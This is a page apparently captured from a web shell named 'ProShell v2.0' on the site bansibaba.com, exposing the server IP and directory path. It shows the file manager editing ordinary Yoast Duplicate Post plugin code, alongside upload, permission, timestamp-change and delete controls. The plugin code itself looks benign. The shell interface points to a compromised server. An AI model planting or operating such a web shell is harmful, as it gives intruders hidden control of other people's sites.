ProShell v2.0
Dashboard
Server Info
Server: 158.106.128.192
PHP: 8.2.33
home
planet5
public_html
bansibaba.com
2026-09-14 08:07:12
Editing: admin-bar.php
Cancel
Save Changes
<?php namespace Yoast\WP\Duplicate_Post\UI; use WP_Post; use Yoast\WP\Duplicate_Post\Permissions_Helper; use Yoast\WP\Duplicate_Post\Utils; /** * Duplicate Post class to manage the admin bar. */ class Admin_Bar { /** * Holds the object to create the action link to duplicate. * * @var Link_Builder */ protected $link_builder; /** * Holds the permissions helper. * * @var Permissions_Helper */ protected $permissions_helper; /** * Holds the asset manager. * * @var Asset_Manager */ protected $asset_manager; /** * Initializes the class. * * @param Link_Builder $link_builder The link builder. * @param Permissions_Helper $permissions_helper The permissions helper. * @param Asset_Manager $asset_manager The asset manager. */ public function __construct( Link_Builder $link_builder, Permissions_Helper $permissions_helper, Asset_Manager $asset_manager ) { $this->link_builder = $link_builder; $this->permissions_helper = $permissions_helper; $this->asset_manager = $asset_manager; } /** * Adds hooks to integrate with WordPress. * * @return void */ public function register_hooks() { if ( (int) Utils::get_option( 'duplicate_post_show_link_in', 'adminbar' ) === 1 ) { \add_action( 'wp_before_admin_bar_render', [ $this, 'admin_bar_render' ] ); \add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_styles' ] ); \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_styles' ] ); } } /** * Shows Rewrite & Republish link in the Toolbar. * * @global \WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance. * * @return void */ public function admin_bar_render() { global $wp_admin_bar; if ( ! \is_admin_bar_showing() ) { return; } $post = $this->get_current_post(); if ( ! $post ) { return; } $show_new_draft = ( (int) Utils::get_option( 'duplicate_post_show_link', 'new_draft' ) === 1 ); $show_rewrite_and_republish = ( (int) Utils::get_option( 'duplicate_post_show_link', 'rewrite_republish' ) === 1 ) && $this->permissions_helper->should_rewrite_and_republish_be_allowed( $post ); if ( $show_new_draft && $show_rewrite_and_republish ) { $wp_admin_bar->add_menu( [ 'id' => 'duplicate-post', 'title' => '<span class="ab-icon"></span><span class="ab-label">' . \__( 'Duplicate Post', 'duplicate-post' ) . '</span>', 'href' => $this->link_builder->build_new_draft_link( $post ), ], ); $wp_admin_bar->add_menu( [ 'id' => 'new-draft', 'parent' => 'duplicate-post', 'title' => \__( 'Copy to a new draft', 'duplicate-post' ), 'href' => $this->link_builder->build_new_draft_link( $post ), ], ); $wp_admin_bar->add_menu( [ 'id' => 'rewrite-republish', 'parent' => 'duplicate-post', 'title' => \__( 'Rewrite & Republish', 'duplicate-post' ), 'href' => $this->link_builder->build_rewrite_and_republish_link( $post ), ], ); } else { if ( $show_new_draft ) { $wp_admin_bar->add_menu( [ 'id' => 'new-draft', 'title' => '<span class="ab-icon"></span><span class="ab-label">' . \__( 'Copy to a new draft', 'duplicate-post' ) . '</span>', 'href' => $this->link_builder->build_new_draft_link( $post ), ], ); } if ( $show_rewrite_and_republish ) { $wp_admin_bar->add_menu( [ 'id' => 'rewrite-republish', 'title' => '<span class="ab-icon"></span><span class="ab-label">' . \__( 'Rewrite & Republish', 'duplicate-post' ) . '</span>', 'href' => $this->link_builder->build_rewrite_and_republish_link( $post ), ], ); } } } /** * Links stylesheet for Toolbar link. * * @global \WP_Query $wp_the_query. * * @return void */ public function enqueue_styles() { if ( ! \is_admin_bar_showing() ) { return; } $post = $this->get_current_post(); if ( ! $post ) { return; } $this->asset_manager->enqueue_styles(); } /** * Returns the current post object (both if it's displayed or being edited). * * @global \WP_Query $wp_the_query * * @return false|WP_Post The Post object, false if we are not on a post. */ public function get_current_post() { global $wp_the_query; if ( \is_admin() ) { $post = \get_post(); } else { $post = $wp_the_query->get_queried_object(); } if ( empty( $post ) || ! $post instanceof WP_Post ) { return false; } if ( ( ! $this->permissions_helper->is_edit_post_screen() && ! \is_singular( $post->post_type ) ) || ! $this->permissions_helper->post_type_has_admin_bar( $post->post_type ) ) { return false; } if ( ! $this->permissions_helper->should_links_be_displayed( $post ) ) { return false; } return $post; } }
Upload Files
Cancel
Upload
Create New
Cancel
Create
Change Permissions
Cancel
Save
Change Date
Cancel
Save
Rename Item
Cancel
Save
Confirm Delete
Are you sure you want to delete the selected items?
Cancel
Delete